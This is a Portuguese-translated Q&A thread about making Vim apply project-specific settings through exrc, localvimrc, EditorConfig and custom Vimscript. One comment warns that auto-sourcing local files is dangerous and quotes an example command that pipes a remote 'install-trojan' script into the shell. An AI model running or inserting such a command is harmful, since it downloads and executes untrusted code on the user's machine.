Aplicando configurações apenas a uma árvore de diretórios

33

No meu trabalho, usamos um padrão tsde 2; minha preferência pessoal é 4, que é o que eu uso para meus projetos de hobby, e esse outro projeto que herdamos tem a convenção de ts=8.

Há também outras configurações que quero definir com base no projeto (por exemplo, dobrar). Basear essas configurações no tipo de arquivo ou detectá-las automaticamente com base no que o arquivo usa não são boas opções, pois quero respeitar as convenções de cada projeto.

Posso fazer o Vim usar um arquivo de configurações que se aplica a um projeto (tudo em uma árvore de diretórios) sem adicionar uma modelagem a todos os arquivos?

Martin Tournoij
fonte

Respostas:

19

Existem algumas maneiras leves de fazer isso.

  1. Verifique se há um arquivo com o nome fornecido e origine-o

    if filereadable(".vimscript_file")
        so .vimscript_file
    endif
    

    O arquivo está oculto no exemplo, mas é opcional.

  2. .vimrcArquivos locais (não iguais ao plugin)

    set exrc
    

    Isso é semelhante ao 1., mas o arquivo será chamado ".vimrc".

    Uma sugestão comum para acompanhar isso é usar

    set secure
    

    o que impede que um .vimrcarquivo faça coisas potencialmente perigosas, como executar comandos do shell. A idéia é que você não queira que o vim leia um .vimrcarquivo escrito por outra pessoa que faça algo desagradável.

  3. Autocommands que verificam o caminho atual

    au BufNewFile,BufRead *path-possibly-using-globbing setlocal setting=value
    

    Esta é a opção que eu uso. Eu não mudo muito entre projetos diferentes, então YMMV, mas se você quiser fazer uma ou duas coisas com base no caminho e mantê-lo no seu, .vimrcisso é agradável e simples.

Praxeolitic
fonte
Observe que as opções 1 e 2 têm a mesma limitação descrita neste comentário : ela não se aplica recursivamente aos subdiretórios.
15

Eu uso o localvimrc para esse fim.

Coloque um .lvimrccom as configurações do seu projeto dentro do seu projeto e essas configurações substituirão as configurações .vimrc.

Por padrão, você será perguntado se deseja obter este arquivo, por exemplo:

localvimrc: source /home/martin/code/.lvimrc? ([y]es/[n]o/[a]ll/[q]uit) 

Isso evita o fornecimento de arquivos vimrc aleatórios (não confiáveis). Se você achar isso irritante, poderá configurar uma lista de permissões de .lvimrcarquivos com g:localvimrc_whitelist:

let g:localvimrc_whitelist = '/home/martin/code/.lvimrc'

Ou você pode simplesmente desativar a solicitação de confirmação completamente com set g:localvimrc_ask = 0. Isso não é recomendado, no entanto.

OrangeTux
fonte
5

Configuração central

Se não há problema em configurar os comandos específicos / exceções locais centralmente, você pode colocar esses autocmds no seu ~/.vimrc:

:autocmd BufRead,BufNewFile /path/to/dir/* setlocal ts=4 sw=4

É importante usar em :setlocalvez de :set, e da mesma forma :map <buffer> ...e :command! -buffer ....

Por outro lado, se você deseja que a configuração específica seja armazenada com o projeto (e não deseja incorporar isso em todos os arquivos via modelines ), você tem as duas opções a seguir:

Configuração local com funcionalidade incorporada

Se você sempre iniciar o Vim a partir do diretório raiz do projeto, o

:set exrc

permite a leitura de um .vimrcarquivo do diretório atual. Você pode colocar os :set ts=4 sw=4comandos lá.

Configuração local através do plugin

Caso contrário, você precisa da ajuda de um plugin; existem vários no vim.org; Posso recomendar o plug-in localrc , que permite até a configuração específica do tipo de arquivo local.

Observe que a leitura da configuração do sistema de arquivos tem implicações de segurança; você pode querer :set secure.

Ingo Karkat
fonte
2
Observe que .exrcsão extremamente limitados: a noção do projeto para no diretório atual, ou seja, os arquivos nos subdiretórios não pertencem ao projeto.
precisa saber é o seguinte
4

Existe o projeto Editor Config , que permite definir configurações no nível do projeto, como configurações de tabstop, além de novos estilos de linha e outras coisas. Existem muitos plugins para todos os tipos de editores, incluindo o vim . Também permite definir configurações para diferentes tipos de arquivos.

# EditorConfig is awesome: http://EditorConfig.org

# top-most EditorConfig file
root = true

# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true

# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8

# 4 space indentation
[*.py]
indent_style = space
indent_size = 4

# Tab indentation (no size specified)
[*.js]
indent_style = tab

# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2

# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2
PetersenDidIt
fonte
0

Eu escrevi isso e o adicionei ao meu .vimrc para permitir que eu coloque arquivos .vimsettings em projetos e subprojetos.

" Search for any .vimsettings files in the path to the file.
" Source them if you find them.
function! ApplyLocalSettings(dirname)
    " Don't try to walk a remote directory tree -- takes too long, too many
    " what if's
    let l:netrwProtocol = strpart(a:dirname, 0, stridx(a:dirname, "://"))
    if l:netrwProtocol != ""
        return
    endif

    " Convert windows paths to unix style (they still work)
    let l:curDir = substitute(a:dirname, "\\", "/", "g")
    let l:parentDir = strpart(l:curDir, 0, strridx(l:curDir, "/"))
    if isdirectory(l:parentDir)
        " Recursively walk to the top of the path
        call ApplyLocalSettings(l:parentDir)
    endif

    " Now walk back down the path and source .vimsettings as you find them. This
    " way child directories can 'inherit' from their parents
    let l:settingsFile = a:dirname . "/.vimsettings"
    if filereadable(l:settingsFile)
        exec ":source " . l:settingsFile
    endif
endfunction
autocmd! BufEnter * call ApplyLocalSettings(expand("<afile>:p:h"))
Kent A.
fonte
Enquanto isso funciona, ele pode ser considerado perigoso, pois você está apenas terceirização de um arquivo, e executar todos os comandos nele (incluindo comandos shell, como system('curl http://example.com/install-trojan.sh | sh')...
Martin Tournoij
0

Eu queria isso, então apenas o implementei localmente. Não estou tão preocupado com "executar código aleatório", mas isso pode funcionar para necessidades simples. Ajuste os nomes dos arquivos conforme necessário.

let s:this_file = expand("<sfile>")
autocmd BufEnter * call LoadLocalVimrc(expand("<afile>"))

function! LoadLocalVimrc(filename)
    let l:filepath = fnamemodify(a:filename, ':h')
    let l:file = findfile("local.vimrc", l:filepath . ";/")
    if l:file != ''
        execute "source" l:file
        execute "nnoremap <F8> :$tabe " . s:this_file . "<CR>:sp " . l:file . "<CR>"
    endif
endfunction

Este local.vimrcé na verdade um link simbólico para um arquivo em minha coleção substancial de arquivos vimrc per-empresa que eu possa manter no controle de origem em outro lugar, o que torna fácil para mover toda a minha configuração para outras máquinas ou se eu visitar uma empresa on-site ou algo . As configurações em cascata podem ser usadas, mas na prática não preciso dessa funcionalidade. Também ligo F8para abrir o arquivo encontrado e meu "main" .vimrcem uma nova guia ...

Dentro dessas configurações locais, uma vez que são analisadas para cada arquivo aberto, defina os mapeamentos e configurações para buffer-local. Por exemplo

nnoremap <buffer> <F3> :silent !p4 edit %<CR>:w!<CR>:e<CR>
nnoremap <buffer> <S-F3> :w<CR>:silent !p4 add %<CR>
nnoremap <buffer> <C-F3> :silent !p4 diff %<CR>
nnoremap <buffer> <S-C-F3> :silent !p4vc timelapse %<CR>

setlocal textwidth=101
setlocal noexpandtab
setlocal shiftwidth=4
setlocal tabstop=4
setlocal cinoptions=:0g0(0l1j0*700s+s
traço-tom-bang
fonte